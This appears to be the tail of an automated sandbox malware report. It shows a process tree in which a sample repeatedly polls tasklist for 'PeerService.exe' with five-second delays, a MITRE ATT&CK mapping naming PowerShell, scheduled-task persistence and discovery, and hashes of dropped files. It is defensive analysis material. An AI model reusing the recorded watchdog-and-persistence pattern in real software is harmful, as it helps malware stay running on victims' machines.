    PID:2828
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5116
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4300
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:1784
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2744
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4420
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:3736
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5988
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4904
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:4052
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3156
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5512
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:1636
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2540
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2660
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:4264
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4152
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2008
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:2116
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:6100
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5172
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:5760
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1800
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:696
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:5536
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4308
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5516
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:5256
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2424
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3048
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:5920
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4088
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3000
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:4312
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3508
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3304
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:5876
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3068
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5996
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:1784
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2744
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5260

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 435471b87a1a97b0e29f7d5dd0878e63031511f063629d7e750852c068e7c4f5
MD5 81b56f1dad28119d54bf23c83fc570b9
SHA1 cb9a89a716465611149ce3c700bd60681d434faf
SHA512 77bd4d53ca86d66d29ba662dd424e94e5cef46c6a460cbf9f8d87a40c627401c0f6d0fe30258c23ed1cf63df1a70b19288885a33c206fb85a19f12efaab61927
TLSH
T1F3216833B3DD8614C89A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_1iauoejg.lgx.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1iauoejg.lgx.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

PeerService.exe

Path C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
Size 4.2MB
SHA256 c7b335a61a2ffde4058d0653ff832c75caab762c9ab5101ec236bf788ace7e48
MD5 c8a55911a0e8b31bf34dcaf5e0ec6419
SHA1 731c2dd5f4f6ca6a95f6ac595c617aafdd20ae07
SHA512 163733e24544979e5c3ad7c4a33b813f4c1d9b755ccb73c88e8937f3c30b1ab6afe87683dd5d2634ff3de9eac6dc17964e61bee0d2649b2ef26418c73c18ba86
SSDEEP 98304:M+hxpLJlKkvsdWGoqZ92yVG/uzGNV9HkAVHL/s:M+hx9ekEQByQyVG/uzGNVyAlw
TLSH
T1C126E02BB26901E8D1BFD17CC9165907EBB2780543A0A7CF12E046A62F77BE14E7E315
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/5888-14-0x000001A178600000-0x000001A178622000-memory.dmp

Download

memory/5888-19-0x000001A178690000-0x000001A1786AE000-memory.dmp

Download

memory/5888-20-0x000001A178920000-0x000001A1789D2000-memory.dmp

Download

memory/5888-21-0x000001A1786B0000-0x000001A1786BA000-memory.dmp

Download